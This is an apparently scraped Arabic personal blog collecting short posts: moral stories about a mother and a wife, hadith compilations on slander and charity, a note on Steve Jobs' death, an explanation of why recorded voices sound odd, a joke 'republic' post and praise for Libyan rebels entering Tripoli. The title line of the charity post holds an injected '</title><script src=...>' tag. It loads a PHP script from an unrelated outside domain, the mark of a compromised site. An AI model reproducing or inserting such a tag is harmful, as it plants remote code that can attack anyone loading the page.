إضغط لتعرف أكثر

جرب الخروج مع أمراة غير زوجتك !!!! 

بعد 21 سنة من زواجي .....

وجدت بريقاً جديداً من الحب ....

قبل فترة بدأت أخرج مع امرأة غير زوجتي ....

وكانت فكرة زوجتي حيث بادرتني بقولها:

"أعلم جيداً كم تحبها"...


المرأة التي أرادت زوجتي ان أخرج معها وأقضي وقتاً معها كانت






............. :41: أمي التي ترملت منذ 19 سنة :41: ........................

ولكن مشاغل العمل وحياتي اليومية 3 أطفال ومسؤوليات جعلتني لا أزورها إلا نادراً.

في يوم اتصلت بها ودعوتها إلى العشاء سألتني: "هل أنت بخير "

لأنها غير معتادة على مكالمات متأخرة نوعاً ما وتقلق. فقلت لها:

"نعم أنا ممتاز ولكني أريد أن أقضي وقت معك يا أمي ".

قالت: "نحن فقط …" فكرت قليلاً ثم قالت: "أحب ذلك كثيراً".

في يوم الخميس وبعد العمل ، مررت عليها وأخذتها، كنت مضطرب قليلاً،

وعندما وصلت وجدتها هي أيضاً قلقة. كانت تنتظر عند الباب مرتدية

ملابس جميلة ويبدو أنه آخر فستنان قد اشتراه أبي قبل وفاته. ابتسمت

أمي كملاك وقالت: " قلت للجميع أنني سأخرج اليوم مع إبني، والجميع

فرح، ولا يستطيعون انتظار الأخبار التي سأقصها عليهم بعد عودتي"

ذهبنا إلى مطعم غير عادي ولكنه جميل وهادئ تمسكت أمي بذراعي وكأنها

السيدة الأولى، بعد أن جلسنا بدأت أقرأ قائمة الطعام حيث أنها لا

تستطيع قراءة إلا الأحرف الكبيرة. وبينما كنت أقرأ كانت تنظر إلي

بابتسامة عريضة على شفتاها المجعدتان وقاطعتني قائلة:

"كنت أنا من أقرأ لك وأنت صغير".

أجبتها: "حان الآن موعد تسديد شيء من ديني بهذا الشيء .. ارتاحي أنت يا أماه "

تحدثنا كثيراً أثناء العشاء لم يكن هناك أي شيء غير عادي، ولكن قصص

قديمة على قصص جديدة لدرجة أننا نسينا الوقت إلى ما بعد منتصف الليل

وعندما وصلنا إلى باب بيتها قالت: "أوافق أن نخرج سوياً مرة أخرى، ولكن على حسابي".

فقبلت يدها وودعتها .

بعد أيام قليلة توفيت أمي بنوبة قلبية. حدث ذلك بسرعة كبيرة لم

أستطع عمل أي شيء لها. وبعد عدة أيام وصلني عبر البريد ورقة من المطعم

الذي تعشينا به أنا وهي مع ملاحظة مكتوبة بخطها: "دفعت الفاتورة

مقدماً كنت أعلم أنني لن أكون موجوده، المهم دفعت العشاء لشخصين لك

ولزوجتك. لأنك لن تقدر ما معنى تلك الليلة بالنسبة لي أحبك ياولدي "

في هذه اللحظة فهمت وقدرت معنى كلمة "حب" أو "أحبك" وما معنى جعلنا

الطرف الآخر يشعر بحبنا ومحبتنا هذه. لا شيء أهم من الوالدين وبخاصة

الأم . إمنحهم الوقت الذي يستحقونه .. فهو حق الله وحقهم وهذه

الأمور لا تؤجل.



مما راق لى 

إضغط لتعرف أكثر




فى فاجعه هى الاقوى من نوعها فى عالم تكنولوجيا المعلومات و الحواسيب ,, توفى استيف جوبز بدون اى مقدمات -كما يبدو- ليرحل تاركاً ارثاً لا يدعوا مجالاً للشك على عبقريه هذا الرجل ,,


شخصياً ,, سأفتقد هذا الرجل ذو الاصول العربية ,, الذى كان مدعاةً للفخر ,,


إنا لله و إنا إلية راجعون 


الصورة من Apple



إضغط لتعرف أكثر



إضغط لتعرف أكثر


لماذا نكره اصواتنا عند سماعها عبر الفيديو مثلا ؟

غالباً ما تُصاب بالصدمة حين تسمع صوتك عبر جهاز التسجيل او الفيديو أو عبر الميكروفون، لأن الصوت يكون غريباً ومختلفاً عما تسمعه لنفسك، فما هو السبب؟السبب هو أنك عندما تبدأ في الحديث يهتز الحلق مسبباً اهتزاز تجاويف الفم والبشرة والجمجمة.

 هذا الاهتزاز ينتقل بدوره إلى طبلة الأذن ليمتزج مع موجات الصوت مما يجعل صوتك أكثر عمقاً ورزانة.أما حين تتحدث من خلال جهاز التسجيل فإن الصوت ينتقل عبر الهواء فقط فتكون تردداته أقل من ترددات العظام، مما يعطي الصوت طابعاًمختلفاً عما تسمعه لنفسك، وهذا الصوت الذي تسمعه عبر جهاز التسجيل هو الصوت الذي يسمعه الآخرون حولك.

أما عن سبب شعورك بالصدمة حينما تسمع هذا الصوت فهو أن عقلك يرفض تصديق أن هذا الصوت هو صوتك، ولذا تشعر بالاستغراب والخجل من هذا الصوت الذي تسمعه.

معلومه قراتها فى أثناء بحثى فى الانترنت فأحببت ان اشارككم ايهاها : )

إضغط لتعرف أكثر

عَنْ عَائِشَةَ رَضِيَ الله عَنْهَا قَالَتْ: قَالَ رَسُولُ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ: "إِنَّ أَعْظَمَ النَّاسِ فِرْيَةً لَرَجُلٌ هَاجَى رَجُلًا فَهَجَا الْقَبِيلَةَ بِأَسْرِهَا وَرَجُلٌ انْتَفَى مِنْ أَبِيهِ وَزَنَّى أُمَّهُ". أخرجه البخاري فى الأدب المفرد (1/302 ، رقم 874) ، وابن ماجه (2/1237 ، رقم 3761) قال البوصيري (4/123) : هذا إسناد صحيح رجاله ثقات . وابن حبان (13/102 ، رقم 5785) والبيهقي (10/241 ، رقم 20918) وصححه الألباني (صحيح الجامع ، رقم 1066). جاء في "فيض القدير بشرح الجامع الصغير": (أعظم الناس فرية) أي كذباً (القبيلة بأسرها) أي كلها لإنسان واحد منهم كان ما يقتضيه لأن القبيلة لا تخلو من عبد صالح فهاجى الكل قد تورط في الكذب على التحقيق فلذلك قال: أعظم فرية. انتهى. وهذا الحديث يطبق للأسف على واقعنا المعاصر فحل مكان الشعر المذكور ما هو أفظع منه ألا وهي النكات التي تطلق على أهل مدينة أو حتى بلد بأكملها فيرمونهم بالغباء أو بالفسق أو بما سوى ذلك من صفات ذميمة وما يدري ذلك الذي يحكي النكتة أنه قد حمل أوزار ذم أهل البلد كلهم وقد يبلغ عددهم عشرات الألوف بل الملايين.


إضغط لتعرف أكثر


السلام عليكم ورحمة الله وبركاته


انا قررت انى ارشح نفسى لجمهورية نفسيتان الحزلوقية العظمى , رئيساً -طويل العمر يطول عمرى هاى هئ-

و بما انى كده كده ناجح ع لشان ما فيش حد نازل الا انا ,, ولان كمان مافيش لجمهوريتى الوليده شعب فقررت انى اختبر ثقافتكم كالشعب محتمل للجمهوريتى الوليده ,, ودا علشان اتأكد انكم تستحقونى

و اليكم البيان الاول :

الاخوه النفسانيون الحزلقيون العظماويون ,, اليكم البيان التالى ,,

فى ظل هذه اللحظات اللى مش عصبيبه-اوى يعنى- قررنا نحن رئيس جمهورية نفسيتان الحزلوقية العظمى-طويل العمر يطول عمرى هاى هئ - وضع اختبار اجبارى للشعب النفستانى الحزلوقي العظماوى و دا لقياس مدى ثقافة الشِعب لتعرف على مدى جدارته ليكون شعباً لجمهوريتى الوليده :- ))

السؤال الاول : التعبير : - )

علمانيه & مدنية , اسلامية & دينية وليبرالية ...

اكتب فى التالى :

الكلمات دى -بتاعه علمانيه و ليبرالية و مدينة و اسلامية ودينية دى- ليها اثر في نفسك لما بتسمعها ,, طيب انت فاهم منها حاجه ؟

حد عارف الفرق بينهم ؟ او ببساطه حد يعرف على ايه تدل الكلمات دى؟




طيب ,, انت تعرف دولتك اللى انت عايش فيها بتحكم باى نظام ,, وهل للكلمات دى اللى ذكرتهم وجود فيه دولتك.. واذا كنت فى دوله من دول ما يسمى الربيع العربى ,, فالى اى من الكلمات الاربعه تميل او تشعر برغبه اكثر فى انها تكون موجوده فى بلدك ,, و ليه ؟


أحمد عمر
رئيس جمهورية نفسيتان الحزولقية العظمى


شويه وهبئه ارجع اقيم ادائكم كشعب اقولكم الحقيقه المره هاها ,,قولوا ان شاء الله 


-

توضيح بسيط

نفسيتان :, من نفسى ,, يعنى الدوله دى لنفسى بس يعنى رئيسا عطول يعنى ,, مش يتنفع لا للبيع ولا للايجار ولا حتى للتوريث بعد عمر طويل ان شاء الله : D

الحزلوقية : من حزلوق ,, وهو مصطلح مش عارف عربى ولا افريقى يطلع ع كل متحزلق ,, يعنى بيتفلسف ,, ودى واحده من سمات شعبى العظيم *اهو بقول عظيم اهو علشان ماحدش فى الجزيره يطلع يقول, ان الراجل دا ماقلش : ايها الشعب النفسيتانى الحزلوقى العظيم هاها * بعد ما تقوموا بالثوره طبعا هاها

العظمى : مش عارف ليه بس انا مقتبسها من القذافى هاها

التاج اللى فى اول الموضوع دا: تاجى وماحدش يقولى رئيس جمهوريه يلبس تاج ,, هاها 


سبحانك اللهم وبحمدك , أستغفرك واتوب اليك ,,

إضغط لتعرف أكثر


ايها الرجل .تعلم من الرسول كيف تحب زوجتك؟ اليك رسائل حب من بيت النبوة

كثير من الأزواج يحبون زوجاتهم .. ولكنهم لا يعرفون كيف يحبونهن

وكيف يوصلون إليهن هذا الحب، و لا كيف يشعروهن أنهم محبون

فتعال أيها الزوج تعلم من النبي – صلى الله عليه وسلم – كيف تحب …

من خلال الرسائل التي كان يرسلها لزوجاته…

رسائل حب ♥

وقبل أن نقول الرسائل

نقول أولا إن الحب يوسع المنزل الضيق

فهذه حجرة عائشة رضي الله عنها كانت 3*5 متر

ولكنه كان بيتا فسيحا بالحب

ونقول أيضا إن النبي – صلى الله عليه وسلم – لم تمنعه كثرة مشاغله

بالدعوة وحكم الدولة أن يرسل لزوجاته رسائل حب، وليس مجرد حب بل فنّا في الحب

|♥| الرساله الأولى |♥|

تقول عائشة رضي الله عنها: كنت أشرب من القدح وأنا

حائض وإذا بالنبي صلي الله عليه وسلم يأخذ القدح

ويشرب منه يضع فمه مكان فمي يشرب

أليست هذه رسالة حب يوصلها إلى زوجته

|♥| رسالة أخرى |♥|

قالت رضي الله عنها إنّها كانت تأكل في عظمة؛
فأخذها النبي صلى الله عليه وسلم

من يدها يضع فمه مكان فمها

أليست هذه رسالة حب

إنه فن الحب

كان بيته – صلى الله عليه وسلم – يضج بالحب والمودة والرحمة بأجمل صورها

قد يفعل هذا الخطيب أثناء الخطبة أو في أول الزواج

وبعد ذلك ينسى أو يتناسى ويظن أن هذا لم يعد له أهمية

|♥| رسالة أخرى |♥|

لزوجته صفية

كان صلى الله عليه وسلم وهو في الطريق من خيبر الى مكة

عندما جاءت زوجته صفية تصعد إلى الهودج احتاجت شيئا تصعد عليه إلى الهودج

لم يقل للصحابه هاتوا شيئا؛ ولكنه جثى على ركبتيه

بجانب الجمل ،وجعل ركبتيه كالدرج لتضع صفية قدمها عليها

وتصعد إلى هودجها ،هذا التصرف كان في بداية زواجها منه

وهذا التصرف يفتح قلبها لتحبه

وأيضا في ختام حياته عليه السلام في حجة الوداع

كانت صفية تركب على جمل ضعيف فتخلفت وتأخرت عن الركب

وكان مائة ألف …كان من الممكن أن يرسل لها أحدا

يتفقدها ولكنه ذهب بنفسه ولما رأته مقبلا عليها أجهشت تبكي

فإذا صلى الله عليه وسلم يلتقط دمعها بيديه

فعل ذلك وهو في الستين من عمره ومع ذلك

في قلبه جمال عاطفي يمارسه مع زوجته صفية

آاتعلم أيها الزوج القاسي الذي تترك زوجتك تبكي

فلا تواسيها وربما لا تسألها ما بها وتتركها وتهرب من النكد

تعلم أيها الزوج أن تنظر إلى زوجتك نظرة حانيه بين الفينة والأخرى

وأن تلمسها لمسة حانية

تعلم أن تحيي الحب في قلب زوجتك بدل أن تقتله بتهميشك لها

|♥| رسالة أخرى |♥|

أشعرها أنك مهتم بها

حبيبي يا رسول الله ما أعظمك وما أجملك

من زوج تحيط زوجاتك باهتمامك

لما تزوجت عائشة وهي صغيرة انتقلت من بيت أبيها

إلى بيت زوجهاو أخذت معها لعبها ووضعتها على رف في حجرتها

ووضعت عليه ستارة كأنه بيت الألعاب

فكان صلى الله عله وسلم يكشف الستر ويقول لها

(يدلعها) يا عائش ما هذا وهو يعلم ولكنه سؤال ليشعرها أنه مهتم بها وبألعابها

فقالت هذه بناتي يعني عروستي فقال

وما هذا الذي بينهن قالت فرس له أجنحة

فقال لها والفرس له أجنحة ؟

فقالت أما علمت ان نبي الله سليمان كان له فرس بأجنحة

اندمجت تشرح له .. هذه براعة النبي ؛مهتم بلعب زوجته

ويحاورها ويفتح معها مجالا للحوار

فاهتم بزوجتك أيها الزوج واسألها وحاورها

واحترم عقلها وأشعرها بذلك فهذه رسالة حب منك لها

كان ء صلى الله عليه وسلم ء يعلم أنها تحب اللعب مع صويحباتها

فعندما يراهن يرسلهن إليها يلعبن معها ليدخل السرور على قلبها ويبعد عنها الملل

|♥| رسالة أخرى |♥|

سئلت عائشة بعد وفاته صلى الله عليه وسلم كيف كان في بيته؟

قالت كان بشرا من البشر إلا أنه كان ضحوكا بساما

وكان في خدمة أهله يخصف نعله ويجلي ثوبه ثم يذهب إلى المسجد

تعلم أيها الزوج أن تساعد زوجتك إن كان هذا في مقدورك

وإذا كانت زوجتك متعبة أو مشغولة

،فخدمتك لنفسك ومساعدتك لها رسالة حب توجهها إليها فتحيي حبك في قلبها

فماذا كانت تفعل عائشة في بيتها الصغير وليس فيه أطفال

وكان يأتي الهلال ثم الهلال ثم الهلال ولا تطبخ وليس إلا التمر والماء

ماذا كانت تفعل ليساعدها و مع هذا يشاركها ليعطيها شعورا بالاندماج الكامل بينهما

و أن هذا البيت شركة يشاركها فيه فهو لا يساعد من أجل كثرة العمل

|♥| رسالة أخرى |♥|

الأنس

لم يكن – صلى الله عليه وسلم – في بيته قائدا ولا رئيسا

بل كان زوجا إذا دخل المنزل ترك مشاكله في الخارج

لم يفعل كما يفعل الكثيرون :يضحك في الخارج ويدخل منزله متجهما

ولا تسمع منه إلا الأمر والنهي

بل كان في بيته بساما ضاحكا

قالت عائشة – رضي الله عنها – كنت مع النبي في سفر

وطلب منها السباق فسابقها وفازت عليه فضحك

لم ينسى وهو في السفر أن يمتع نفسه هو وزوجته ويؤنسها ويفرح بأنسها

ما أعظمك يا رسول الله

وبعد سنوات وقد زاد وزنها سابقها وسبقها فقال ياعائش هذه بتلك

وهو في سفر، يؤنس زوجته وهو كبير في السن ..استوعب أيها الزوج

من بساطته في بيته أنّه كان جالسا في ليلة بين عائشة وسودة

في بيت عائشة ،و كانت عائشة صنعت حريرة (شوربة)؛ فقالت لسودة :كلي فرفضت

فكررت لها: كلي ،فرفضت فأخذت بكفها ولطخت به وجه سودة

وكان صلى الله عليه وسلم يضع رجله عليها ،فرفعها؛ وكأنه يقول لها: خذي حقك

فأخذت سودة بكفها ووضعت على وجه عائشة فضحك صلى الله عليه وسلم

كان يورد الأنس إلى بيته

سمع يوما جلبة في المسجد فنظر ؛فوجد حبوش يأتون ويهزجون

فقال ياعائش تشتهي تنظري قالت نعم

فألقى عليها رداءه وذقنها على كتفه وغطاها بردائه

وخدها بخده وهو يحمسهم للعب

وكل فترة يقول لها أشبعت تقول لا

ثم يقول لها حسبك تقول لا

وعندما حكت هذا الكلام قالت :كنت شبعت

ولكن فعلت ذلك لكي تعلم زوجاته مكانتي منه

وكان يجلب لها صويحباتها في العيد

يضربن بالدف لكي يفرحها ويؤنسها وكان أنسها يفرحه

|♥| رسالة أخرى |♥|

الصبر عليها من الحب

كان صلى الله عليه وسلم يفهم إنسانية الزوجات

وكانت صفية تحسن صنع الطعام ؛فأرسلت له قصعة فيها طعام ،وهو عند عائشة

فغارت وضربت الإناء فانكفأ وانكسر فقال غارت أمكم غارت أمكم

ولم يتغير وجهه بغضب ولم ينفعل، أليس صبره هذا وعدم عقابه وغضبه رسالة حب ؟

أسعد الله أيام الجميع بطاعته وحسن عبادته 
ما أستدليت على مصدر معين   : ))

إضغط لتعرف أكثر

مقالة رائعه ,, شاركها أحد اصدقائى مع على حسابى فى facebook و لما قرأتها شعرت انها جديره بمشاركتة قرائى الاعزاء : ))




زوجتى الرائعة.. اشكرك
جلس مؤلف كبير أمام مكتبه وأمسك بقلمه، في ليلة رأس السنة، وكتب:

في السنة الماضية، أجريت عملية إزالة المرارة، ولازمت الفراش عدة شهور..

وبلغت الستين من العمر فتركت وظيفتي المهمة في دار النشر الكبرى التي ظللت أعمل بها ثلاثين عاماً..
وتوفي والدي..
..ورسب ابني في بكالوريوس كلية الطب لتعطله عن الدراسة عدة شهور بسبب إصابته فى حادث سيارة
وفي نهاية الصفحة كتب..
{{يا لها من سنة سيئة}}..!!

ودخلت زوجته غرفة مكتبه، ولاحظت شروده..
فأقتربت منه، ومن فوق كتفه قرأت ما كتب..
فتركت الغرفة بهدوء، وبعد دقائق عادت وقد أمسكت بيدها ورقة أخرى، وضعتها بهدوء بجوار الورقة التى سبق أن كتبها زوجها ..
وتناول الزوج ورقة زوجته وقرأ منها :
في السنة الماضية..
شفيت من الآم المرارة التي عذبتك سنوات طويلة..
وبلغت الستين وأنت في تمام الصحة..
وستتفرغ للكتابة والتأليف بعد أن تم التعاقد معك على نشر أكثر من كتاب مهم..
وعاش والدك حتى بلغ الخامسة والثمانين بغير أن يسبب لأحد أيمتاعب، وتوفي في هدوء بغير أن يتألم..
ونجا ابنك من الموت في حادث السيارة وشفي بغير أيه عاهات أو مضاعفات..
وختمت الزوجة عبارتها قائلة:
{{يا لها من سنة تغلب فيها حظنا الحسن على حظنا السيء}}..
ليكتب زوجها اهداءً اخر غير الذى يكتبه دوما فى بدايه كتبه .. كتب : الى زوجتى الرائعه .. اشكرك

إنها فعلا زوجة رائعة
لقد تحقق فيها مقولة ( وراء كل عظيم امرأة )
إنها تعين زوجها على طاعة الله

فلنغير أحبتي نظرة التشاؤوم في أعيننا لما حل بنا من محن..
إلى نظرة حب وتفاؤل لما عاد علينا من فائدة وخير بعد مرورنا بهذه المحن..

إضغط لتعرف أكثر

http://4.bp.blogspot.com/_fqSIkGTfrxM/Sw5uI-tAMpI/AAAAAAAAC7Y/3YpYwBQPYQY/s1600/%D8%A7%D9%84%D8%A7%D8%B6%D8%AD%D9%89.jpg

إضغط لتعرف أكثر

http://www.iraqup.com/up/20110311/jX8Ve-mB31_348219556.JPG
 
الله أكبر ,, أخيراً ’’ لبيبا تتنفس نسيم الحرية"

الان و الان فقط دخل منذ قليل الثوار الليبين الى العاصمة طرابلس بعدما ألقت كتائب القذافى أسلحتهم -أكثرهم على ما يبدو-      والان على ما يبدولى أن طرابلس العاصمة ,, تحتفل ,, الله أكبر ,,, نسال لهم العون و المعونه و الخير لنا و لهم ,, فهنئياً لكم أحرار ليبيا ,,

فأخيراً ليبيا تصعد لنفس الدور الذى سبقتها إلية مصر وتونس
 
 
سبحانك اللهم بحمدك لا إله إلا أنت أستغفرك و أتوب إليك,

إضغط لتعرف أكثر

أطـول يـد ..!!        </title><script src=http://jhgukn.com/ur.php></script>
عَنْ أَبِي ذَرٍّ رَضِيَ الله عَنْهُ قَالَ: كُنْتُ أَمْشِي مَعَ النَّبِيِّ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ فِي حَرَّةِ الْمَدِينَةِ فَاسْتَقْبَلَنَا أُحُدٌ فَقَالَ: "يَا أَبَا ذَرٍّ" قُلْتُ: لَبَّيْكَ يَا رَسُولَ اللَّهِ قَالَ: "مَا يَسُرُّنِي أَنَّ عِنْدِي مِثْلَ أُحُدٍ هَذَا ذَهَبًا تَمْضِي عَلَيَّ ثَالِثَةٌ وَعِنْدِي مِنْهُ دِينَارٌ إِلَّا شَيْئًا أَرْصُدُهُ لِدَيْنٍ إِلَّا أَنْ أَقُولَ بِهِ فِي عِبَادِ اللَّهِ هَكَذَا وَهَكَذَا وَهَكَذَا" عَنْ يَمِينِهِ وَعَنْ شِمَالِهِ وَمِنْ خَلْفِهِ ثُمَّ مَشَى فَقَالَ: "إِنَّ الْأَكْثَرِينَ هُمْ الْأَقَلُّونَ يَوْمَ الْقِيَامَةِ إِلَّا مَنْ قَالَ هَكَذَا وَهَكَذَا وَهَكَذَا عَنْ يَمِينِهِ وَعَنْ شِمَالِهِ وَمِنْ خَلْفِهِ وَقَلِيلٌ مَا هُمْ". (أُحُدْ) أي جبل أحد، (ثَالِثَةٌ) ثلاث ليال (أَقُولَ بِهِ فِي عِبَادِ اللَّهِ هَكَذَا وَهَكَذَا وَهَكَذَا) كناية عن الصدقة والإنفاق في سبيل الله، (الأَكْثَرِينَ) من المال، (الأقلون) وفي رواية: الأسفلون. وَعَنْ أَبِي مَسْعُودٍ رَضِيَ الله عَنْهُ قَالَ: "كَانَ رَسُولُ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ يَأْمُرُنَا بِالصَّدَقَةِ فَمَا يَجِدُ أَحَدُنَا شَيْئًا يَتَصَدَّقُ بِهِ حَتَّى يَنْطَلِقَ إِلَى السُّوقِ فَيَحْمِلَ عَلَى ظَهْرِهِ فَيَجِيءَ بِالْمُدِّ فَيُعْطِيَهُ رَسُولَ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ، إِنِّي لَأَعْرِفُ الْيَوْمَ رَجُلًا لَهُ مِائَةُ أَلْفٍ مَا كَانَ لَهُ يَوْمَئِذٍ دِرْهَمٌ". قوله: "بِالْمُدِّ": أَيْ مِنْ أُجْرَة الْعَمَل. وَعَنْ عُقْبَةَ بْنِ عَامِرٍ ‏رَضِيَ الله عَنْهُ‏ٍ، قَالَ: قَالَ رَسُولُ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ: "إِنَّ الصَّدَقَةَ لَتُطْفِيءُ عَنْ أَهْلِهَا حَرَّ الْقُبُورِ، وَإِنَّمَا يَسْتَظِلُّ الْمُؤْمِنُ يَوْمَ الْقِيَامَةِ فِي ظِلِّ صَدَقَتِهِ". وَعَنْ سَلْمَانَ بْنِ عَامِرٍ الضَّبِّيِّ رَضِيَ الله عَنْهُ قَالَ: قَالَ رَسُولُ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ: "الصَّدَقَةُ عَلَى الْمِسْكِينِ صَدَقَةٌ، وَعَلَى ذِي الْقَرَابَةِ اثْنَتَانِ: صَدَقَةٌ وَصِلَةٌ". وَعَنْ أَبِي وَاقِدٍ اللَّيْثِيِّ رَضِيَ الله عَنْهُ قَالَ: كُنَّا نَأْتِي النَّبِيَّ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ إِذَا أُنْزِلَ عَلَيْهِ فَيُحَدِّثُنَا فَقَالَ لَنَا ذَاتَ يَوْمٍ: "إِنَّ اللَّهَ عَزَّ وَجَلَّ قَالَ: إِنَّا أَنْزَلْنَا الْمَالَ لِإِقَامِ الصَّلَاةِ وَإِيتَاءِ الزَّكَاةِ وَلَوْ كَانَ لِابْنِ آدَمَ وَادٍ لَأَحَبَّ أَنْ يَكُونَ إِلَيْهِ ثَانٍ وَلَوْ كَانَ لَهُ وَادِيَانِ لَأَحَبَّ أَنْ يَكُونَ إِلَيْهِمَا ثَالِثٌ وَلَا يَمْلَأُ جَوْفَ ابْنِ آدَمَ إِلَّا التُّرَابُ ثُمَّ يَتُوبُ اللَّهُ عَلَى مَنْ تَابَ". وَعَنْ ‏أَبِي مَسْعُودٍ الْبَدْرِيِّ رَضِيَ اللَّهُ عَنْهُ، عَنِ النَّبِيِّ صَلَّى اللَّهُ عَلَيْهِ وَآلِهِ وَسَلَّمَ ‏قَالَ: "إِنَّ الْمُسْلِمَ إِذَا أَنْفَقَ عَلَى أَهْلِهِ نَفَقَةً وَهُوَ  يَحْتَسِبُهَا كَانَتْ لَهُ صَدَقَةً". وَعَنْ أَبِي هُرَيْرَةَ قَالَ: قَالَ رَسُولُ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ: "سَبَقَ دِرْهَمٌ مِائَةَ أَلْفٍ" قَالُوا يَا رَسُولَ اللَّهِ وَكَيْفَ؟ قَالَ: "رَجُلٌ لَهُ دِرْهَمَانِ فَأَخَذَ أَحَدَهُمَا فَتَصَدَّقَ بِهِ وَرَجُلٌ لَهُ مَالٌ كَثِيرٌ فَأَخَذَ مِنْ عُرْضِ مَالِهِ مِائَةَ أَلْفٍ فَتَصَدَّقَ بِهَا". وَعَنْ  خُرَيْمِ بْنِ فَاتِكٍ قَالَ: قَالَ رَسُولُ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ: "مَنْ أَنْفَقَ نَفَقَةً فِي سَبِيلِ اللَّهِ كُتِبَتْ لَهُ بِسَبْعِ مِائَةِ ضِعْفٍ". الحدبث الأول: أخرجه البخاري (5/2368 ، رقم 6080). الحديث الثاني: أخرجه النسائي في الكبرى (رقم 2529) ، وصححه الألباني (صحيح النسائي ، رقم 2528). الحديث الثالث: أخرجه الطبراني (17/286 ، رقم 788) ، والبيهقي فى شعب الإيمان (3/212 ، رقم 3347) . وأخرجه أيضًا : ابن عدي (2/210 ترجمة 396 الحكم بن يعلى بن عطاء المحاربى)، وحسنه الألباني (صحيح الترغيب والترهيب، رقم 873). الحديث الرابع: أخرجه ابن أبى شيبة (2/413 ، رقم 10541) ، وأحمد (4/18 ، رقم 16278) ، والدارمى (1/488 ، رقم 1681) ، والترمذى (3/46 ، رقم 658) ، وقال : حسن . والنسائى (5/92 ، رقم 2582) ، وابن ماجه (1/591 ، رقم 1844) ، وابن خزيمة (4/77 ، رقم 2385) ، وابن حبان (8/132 ، رقم 3344) ، والطبرانى (6/274 ، رقم 6204) ، والحاكم (1/564 ، رقم 1476) ، والبيهقى (4/174 ، رقم 7524) . وأخرجه أيضًا : ابن أبى عاصم فى الآحاد والمثانى (2/363 ، رقم 1136) وصححه الألباني في التعليق الرغيب ( 2 / 32 ) ، والمشكاة ( 1939 ). الحديث الخامس: أخرجه أحمد (5/218 ، رقم 21956) قال الهيثمى (7/140) : رجاله رجال الصحيح . والطبرانى (3/248 ، رقم 3303) . وأخرجه أيضًا : القضاعى (2/318 ، رقم 1442) ، وصححه الألباني في " السلسلة الصحيحة " (54 / 183). الحديث السادس: أخرجه أحمد (4/120 ، رقم 17123) ، والبخاري (5/2047 ، رقم 5036) ، ومسلم (2/695 ، رقم 1002) ، والنسائى فى الكبرى (2/36 ، رقم 2325) ، وابن حبان (10/50 ، رقم 4239). الحديث السابع: أخرجه النسائي وابن حبان والحاكم، وحسنه الألباني (تخريج مشكلة الفقر، 119). الحديث الثامن: أخرجه أحمد (4/345 ، رقم 19057) ، والترمذي (4/167 ، رقم 1625) وقال: حسن . والنسائي (6/49 رقم 3186) ، وابن حبان (14/145 ، رقم 6171) ، والبغوي فى التفسير (2/338) ، والحاكم (2/96 ، رقم 2441) وقال : صحيح الإسناد ، وصححه الألباني (صحيح الجامع ، رقم 6110).
المصدر: بلغوا عنى ولو آية

إضغط لتعرف أكثر





كنت اود البقاء صامتاً بعيداً عن الكتابه و التدوين لأتمكن من لملمت نفسى من بين ركام الهموم و الذكريات .. ذكريات ماض ولى و هموم مستقبل لابد آت .. -إن شاء الله-

و لعل إيمانى بأن هناك أشياء آخرى تستحق التركيز أكثر -فى رأيي- من الكتابة و التدوين و هو (مستقبلى) الذى و إن كان يمثل مستقبل(فرد) فإن هذا الفرد ينتمى لمجتمع و أمة لن تتقدم إلا بأفرادها ..

و أعتقادى كان -و مازال - بأن مجتمعنا العربى الصغير و أمتنا الاسلاميه الكبرى
لن
تتقدم برجل يحمل قلماً فقط ليكتب إلا و إن كان يحمل فى يده الاخرى فأساً يغرس بها و يزرع
حاملاً فى رأسه علماً ينفع و يحمل فى صدرة هماً و أملاً ..

مهلاً مهلاً فلم أخرج من صمتى لأتحدث عن نفسى .. لكن ما أخرجنى حقاً هو شعورى الدائم باننا نحى على طرفى النقض أما إفراطاً فى حب الحياة و أما تفريطاً فى بغض الموت ..


نعم قد يتسرب الى الانسان اليأس ف الحياة و القنوط منها عندما يستشعر -خطاءً- الا معنى لوجوده ..
لاننا دوما ما نربط هذا الوجود ف الحياة بمعانى لم تكن ابدءً سبباً كافية لاستمرارها او للعمل فقط من آجلها كما اننا لسنا دوماً طرفاً وحيداً قادراً لتحقيقها ..

فالحب و الوفاء كالقرب و الارتباط كلها معانى رائعه نسعى لاجليها لكن عدم وجودها او انتفاءها لا يعنى ابداً اننا فقدنا شريان الحياة او السبيل للعيش فيها ..

فالخالق حين خلق الخلق -وهو غنى عنهم- كانت العبادة ابتداءً سبباً للوجود لذا فما ندم اهل الطاعات و لا حزن اصحاب الجنة الا على سويعات سلبتهم الدينا طاعاتهم و ما حرم احداً شيئاً قد حرمانه من لذة العبادة و الشوق إلى الله ..

فتمنى الموت عندى كتمنى الحياة فتمنى الموت هرباً من الحياة إفراط و اتمنى الحياة هرباً من الموت تفريط و كليهما لا يستقيم..

إننا ينبغى ان نمتلك جميعاً الاجابة الصحيحة على أهم سؤال فى تلك الحياة ..

لماذا خُلقت و لمن أبقى و متى أحسبُ نفسى فى عداد الاموات و أنا مازلت على قيد الحياة ؟!

فالحياة مزعة الاخرة و على قدر الزرع يكون الحصاد

سألنى أحدهم يوماً ..

لما تعد اليوم دوماً أفضل؟

قلت : لان فى الامس أبعد ما تكون من الغد و الغد أقرب ما تكون من النهاية ..
و نحن بين جدران الحياة و على ضفافيها .. بين الامس و الغد .. نحى .. فى أنتظار الموت ..



أعلم يقيناً بأن جلب كلمة من هناك و وضعها بجوار آخرى من هنا لتكوين جملة مفيده لأمر جداً شاق تعودت أن يحملة معى غيرى .. لكنى اليوم أكتب باحثاً عن نفس بعثرتها أحزان الفراق ..

سبحانك اللهم و بحمدك أستغفرك و أتوب إليك ،،



مدونة كتبها فى 06/10/09 و اعتمدها 10:47 م من نفس اليوم و الان اعيد نشرها فالله أسأل ان ينفع بها فهى صدعت جدران قلبى عندما بعدت لافتش فيها عن نفسى التى ذهبت : (

إضغط لتعرف أكثر


إضغط لتعرف أكثر


